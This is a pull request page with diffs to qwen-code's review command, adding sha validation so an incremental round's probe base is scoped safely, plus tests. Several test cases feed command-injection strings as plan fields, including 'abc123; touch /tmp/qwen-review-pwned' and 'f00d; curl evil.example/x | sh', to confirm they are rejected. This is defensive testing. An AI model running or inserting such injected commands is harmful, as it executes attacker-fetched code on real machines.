Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
19 commits
Select commit Hold shift + click to select a range
78774d9
feat(review): validate and scope the incremental anchor inside fetch-pr
wenshao Aug 13, 2026
c65c6ab
fix(review): keep the empty-delta capture out of emptyDiff, and scope…
wenshao Aug 13, 2026
55d7be3
fix(review): clamp the anchor to the merge base, demote every planles…
wenshao Aug 13, 2026
ab31c2d
fix(review): one planless reason, a tree-based empty ruling, and a ba…
wenshao Aug 13, 2026
4fcdfb9
fix(review): check hunk containment, read the full range once, and no…
wenshao Aug 14, 2026
d5e69ef
fix(review): make the containment oracle a real diff parser, and pin …
wenshao Aug 14, 2026
b149e3d
fix(review): fail closed when the containment oracle is lost, and pin…
wenshao Aug 14, 2026
fce9e19
fix(review): keep upToDate through a partition failure, and stop rena…
wenshao Aug 14, 2026
119c015
perf(review): parse each diff once per containment ruling
wenshao Aug 14, 2026
c33092b
fix(review): let a refusal reason name only its cause, and unquote pa…
wenshao Aug 14, 2026
80978d2
refactor(review): build the containment oracle on the shared diff parser
wenshao Aug 15, 2026
24eb763
fix(review): drop the containment slack, unpeel the existence probe, …
wenshao Aug 15, 2026
1a3580f
fix(review): resolve commit-ness before ancestry, and give every prob…
wenshao Aug 15, 2026
dc3c11a
test(review): observe the core.quotePath pin in the real-git capture
wenshao Aug 15, 2026
bc3bf9b
fix(review): rule deletions by content, and pin the seams round 12 me…
wenshao Aug 15, 2026
ced8c7f
fix(review): close four fail-open paths in the oracle, and pin round …
wenshao Aug 15, 2026
f69f87b
fix(review): match deletions inside the enclosing hunk, and widen the…
wenshao Aug 16, 2026
2289263
fix(review): tie deletions to their junction, and stop scoping withou…
wenshao Aug 16, 2026
4cdbb9f
test(review): pin that an at-head anchor runs no delta capture
wenshao Aug 16, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
133 changes: 131 additions & 2 deletions packages/cli/src/commands/review/agent-prompt.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -2191,7 +2191,10 @@ describe('buildRoleBrief — every agent, not just the territory ones', () => {
prNumber: '6766',
ownerRepo: 'QwenLM/qwen-code',
worktreePath: '.qwen/tmp/review-pr-6766',
mergeBaseSha: 'abc123',
// A real merge base is `git merge-base` output: a full sha. The old
// 6-char fixture sat below git's own abbreviation floor, so it
// modelled a value the pipeline cannot produce.
mergeBaseSha: 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
};
const absTmp = resolve('/abs/tmp');

Expand Down Expand Up @@ -2393,6 +2396,132 @@ describe('buildRoleBrief — every agent, not just the territory ones', () => {
expect(p).not.toContain('write a **probe**');
});

it("scopes Agent 7's probe base to the delta on an incremental round", () => {
Comment thread
wenshao marked this conversation as resolved.
Resolved
// On a delta-scoped round test-efficacy recomputes base..HEAD from the
// welded --base; handed the merge base it would spend the probe budget
// reversing already-reviewed hunks and report survivors outside this
// round's diff. Mutation-measured on the review: reverting this
// selection to mergeBaseSha left the whole suite green — these cases
// are what kill that mutant.
const planPath = resolve('/tmp/plan.json');
const scoped = buildRoleBrief(
{
...PR_PLAN,
incremental: {
since: 'a'.repeat(40),
effective: true,
diffBase: 'de17aba5e',
},
},
'7',
{ planPath },
);
expect(scoped).toContain('--base de17aba5e');
expect(scoped).not.toContain(
'--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
// upToDate keeps the FULL range — the flows that continue past it run a
// full review, and the report's plan is full-range too.
const upToDate = buildRoleBrief(
{
...PR_PLAN,
incremental: {
since: 'a'.repeat(40),
effective: true,
upToDate: true,
// Carried deliberately: without it this case cannot pin the
// `upToDate !== true` conjunct — a mutant deleting it survives,
// since both sub-cases still land on their expected base. The
// producer never co-publishes the two today; the conjunct exists
// for the day that invariant moves.
diffBase: 'de17aba5e',
},
Comment thread
wenshao marked this conversation as resolved.
Resolved
},
'7',
{ planPath },
);
expect(upToDate).toContain(
'--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
// The other two conjuncts, each its own mutant: a REFUSED ruling must
// not weld a delta base (nothing rebuilds `diffBase` out of a demotion
// today, but the guard is what makes the consumer safe if a producer
// path ever preserves it), and a non-string `diffBase` must not reach
// the shell as one.
const refused = buildRoleBrief(
{
...PR_PLAN,
incremental: {
since: 'a'.repeat(40),
effective: false,
reason: 'hunks-outside-pr-diff',
diffBase: 'de17aba5e',
},
},
'7',
{ planPath },
);
expect(refused).toContain(
'--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
const malformed = buildRoleBrief(
{
...PR_PLAN,
incremental: { since: 'a'.repeat(40), effective: true, diffBase: 42 },
Comment thread
wenshao marked this conversation as resolved.
Resolved
},
'7',
{ planPath },
);
expect(malformed).toContain(
'--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
// …and the shape that actually escapes: a NON-EMPTY STRING that is not a
// sha. `typeof`/non-empty passed it straight into the unquoted `--base`
// interpolation of a fenced bash block the agent runs with a 600s budget.
const injected = buildRoleBrief(
{
...PR_PLAN,
incremental: {
since: 'a'.repeat(40),
effective: true,
diffBase: 'abc123; touch /tmp/qwen-review-pwned',
},
},
'7',
{ planPath },
);
expect(injected).toContain(
'--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
expect(injected).not.toContain('touch /tmp/qwen-review-pwned');
// …and the SAME payload in the FALLBACK source. `mergeBaseSha` reaches
// the identical unquoted interpolation on every non-incremental round —
// the common case — so shape-checking only the anchor left the wider door
// open. With no usable base the probe block is not emitted at all, which
// is what a report carrying no merge base already does.
const injectedBase = buildRoleBrief(
{ ...PR_PLAN, mergeBaseSha: 'f00d; curl evil.example/x | sh' },
'7',
{ planPath },
);
expect(injectedBase).not.toContain('curl evil.example');
expect(injectedBase).not.toContain('review test-efficacy');
// …and the empty string, which passes a type check but empties the
// welded flag — the emit gate's truthiness conjunct then drops Agent 7's
// whole probe block instead of falling back to the merge base.
const emptyBase = buildRoleBrief(
{
...PR_PLAN,
incremental: { since: 'a'.repeat(40), effective: true, diffBase: '' },
},
'7',
{ planPath },
);
expect(emptyBase).toContain(
'--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
});

it('gives Agent 7 no diff — its evidence is the commands it ran', () => {
// It runs the build. Requiring it to open the diff would be requiring a thing
// its job does not involve, and reporting it "blind" for not doing so would
Expand All @@ -2410,7 +2539,7 @@ describe('buildRoleBrief — every agent, not just the territory ones', () => {
expect(p).toContain(
`"\${QWEN_CODE_CLI:-qwen}" review test-efficacy ${planPath}`,
);
expect(p).toContain('--base abc123');
expect(p).toContain('--base bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
// All three finding kinds are named, or the agent meets a `mutant-survived`
// it was never told how to file — and the skipped/inconclusive mutants must
// be fenced off from findings the same way the probes' inconclusive is.
Expand Down
37 changes: 36 additions & 1 deletion packages/cli/src/commands/review/agent-prompt.ts
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,7 @@ import {
type RepositoryContext,
} from './lib/repository-context.js';
import { HOSTNAME_RE, isOwnerRepo } from './lib/gh.js';
import { SHA_RE } from './lib/ledger.js';
import { pathRulesFor } from './lib/path-rules.js';
import { shellQuotePath } from './lib/shell-quote.js';
import {
Expand Down Expand Up @@ -144,6 +145,7 @@ interface PlanReport {
worktreePath?: unknown;
mergeBaseSha?: unknown;
host?: unknown;
incremental?: unknown;
repositoryContext?: unknown;
/**
* The two size fields the topology gate reads (#9242) and the ones
Expand Down Expand Up @@ -1330,7 +1332,40 @@ export function buildRoleBrief(
`\`${wt}\`. Do not \`cd\` elsewhere and do not build the user's main checkout.`,
);
}
const base = report.mergeBaseSha;
// On a delta-scoped incremental round the probe's range must match the
// round's scope: test-efficacy recomputes its own diff as base..HEAD, and
// handed the merge base it would reverse hunks and delete mutants from
// commits an earlier round already reviewed — spending the probe budget
// out of scope and reporting survivors this round's diff never contains.
const inc = report.incremental as
| { effective?: unknown; upToDate?: unknown; diffBase?: unknown }
| undefined;
// Shape-checked, not merely non-empty. This value is interpolated
// UNQUOTED into the fenced bash block below, which the agent runs with a
// 600s budget, so `typeof === 'string'` is not the guard it looks like:
// `abc123; touch /tmp/pwned` is a non-empty string and passed every
// conjunct. `SHA_RE` is the same predicate the anchor itself must satisfy,
// and it subsumes the emptiness check.
//
// This falls back where the sibling `host` guard above throws, and the
// difference is that a fallback exists here: the merge base is what every
// non-incremental round already welds, so a plan whose `diffBase` is not a
// sha costs a wider probe scope rather than the round. `host` has no such
// second-best — a wrong hostname reroutes the evidence fetch — so it
// refuses instead.
//
// BOTH sources, not just the anchor. `mergeBaseSha` reaches the same
// unquoted interpolation on every non-incremental round — the common case
// — and the plan is `JSON.parse`d with no field validation on this path,
// so shape-checking one source and not the other leaves the wider door
// open. A base that is not a sha emits no probe block at all, which is
// already what a report with no merge base does.
const shaOrNull = (v: unknown): string | null =>
typeof v === 'string' && SHA_RE.test(v) ? v : null;
const base =
inc?.effective === true && inc.upToDate !== true
? (shaOrNull(inc.diffBase) ?? shaOrNull(report.mergeBaseSha))
: shaOrNull(report.mergeBaseSha);
const pr = report.prNumber;

// The tree build-test builds in. A PR review has a worktree; a **local** review
Expand Down
130 changes: 130 additions & 0 deletions packages/cli/src/commands/review/fetch-pr.integration.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,130 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/

// Drives the containment oracle against captures REAL git produced, on a real
// three-commit history, under the flags `fetch-pr` actually pins.
//
// The oracle's unit fixtures are hand-written diffs, and a hand-written diff
// encodes what its author believed git emits. The defect this file exists for
// was invisible to every one of them: under `--unified=3` a deletion arrives
// wrapped in context, so the hunk is not `newCount === 0` and its surviving
// new-side range is just that context — which the covering hunk contains for
// free. Only a capture git chose the hunk boundaries for shows that shape.

import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { execFileSync } from 'node:child_process';
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { containmentRuling } from './fetch-pr.js';
import { PINNED_DIFF_CONFIG, PINNED_DIFF_FLAGS } from './lib/diff-flags.js';
import { isolateHostGitConfig } from './lib/test-utils.js';

let repo: string;
let env: NodeJS.ProcessEnv;
let gitIsolation: ReturnType<typeof isolateHostGitConfig>;

const git = (...args: string[]) =>
execFileSync('git', args, { cwd: repo, encoding: 'utf8', env });

/** Capture exactly as `fetch-pr` does. */
const capture = (from: string, to: string) =>
execFileSync(
'git',
[...PINNED_DIFF_CONFIG, 'diff', ...PINNED_DIFF_FLAGS, from, to],
{ cwd: repo, maxBuffer: 1 << 28, env },
).toString('utf8');

const baseLines = Array.from(
{ length: 30 },
(_, i) => `L${String(i + 1).padStart(2, '0')}`,
);

const commit = (file: string, lines: string[], msg: string) => {
writeFileSync(join(repo, file), lines.join('\n') + '\n');
git('add', '-A');
git('commit', '-qm', msg, '--no-verify');
return git('rev-parse', 'HEAD').trim();
};

beforeAll(() => {
repo = mkdtempSync(join(tmpdir(), 'fetch-pr-it-'));
gitIsolation = isolateHostGitConfig();
env = { ...process.env, GIT_TERMINAL_PROMPT: '0' };
git('init', '-q', '--template=', '.');
git('config', 'user.email', 'test@example.com');
git('config', 'user.name', 'test');
git('config', 'commit.gpgsign', 'false');
git('config', 'core.autocrlf', 'false');
});

afterAll(() => {
if (repo) rmSync(repo, { recursive: true, force: true });
gitIsolation.dispose();
});

describe('containmentRuling on real-git captures', () => {
it('refuses a delta that deletes lines the PR diff never displays', () => {
// The "undo per feedback" round. Round 1 landed two edits and three extra
// lines; the next round takes the three lines back out. Those lines stood
// at neither the merge base nor the head, so the PR's own diff mentions
// them on neither side — yet the delta's only content is their removal.
const base = commit('undo.ts', baseLines, 'base');

const anchor = [...baseLines];
anchor[4] = 'L05-MOD';
anchor[11] = 'L12-MOD';
anchor.splice(8, 0, 'X1', 'X2', 'X3');
const round1 = commit('undo.ts', anchor, 'round 1');

const head = [...baseLines];
head[4] = 'L05-MOD';
head[11] = 'L12-MOD';
const headSha = commit('undo.ts', head, 'undo per feedback');

const delta = capture(round1, headSha);
const full = capture(base, headSha);

// The shape that defeats a range-only rule: git wrapped the deletion in
// context, so the delta hunk's new-side range sits INSIDE the full
// capture's — while the deleted text appears nowhere in the full capture.
expect(delta).toContain('-X1');
expect(full).not.toContain('X1');
expect(delta).toContain('@@ -6,9 +6,6 @@'); // new side [6, 11]
expect(full).toContain('@@ -2,14 +2,14 @@'); // new side [2, 15] — covers it

expect(containmentRuling(delta, full)).toEqual({
ok: false,
unverified: false,
});
});

it('accepts a delta whose deletion the PR diff performs too', () => {
// The control that keeps the rule from being "refuse every deletion":
// these lines stood at the merge base, so the PR deletes them as well and
// GitHub displays them.
const base = commit('shared.ts', baseLines, 'shared base');

const anchor = [...baseLines];
anchor[4] = 'L05-MOD';
const round1 = commit('shared.ts', anchor, 'shared round 1');

const head = [...anchor];
head.splice(19, 3); // L20..L22, all present at the base
const headSha = commit('shared.ts', head, 'shared head');

const delta = capture(round1, headSha);
const full = capture(base, headSha);

expect(delta).toContain('-L20');
expect(full).toContain('-L20');

expect(containmentRuling(delta, full)).toEqual({
ok: true,
unverified: false,
});
});
});
Loading
Loading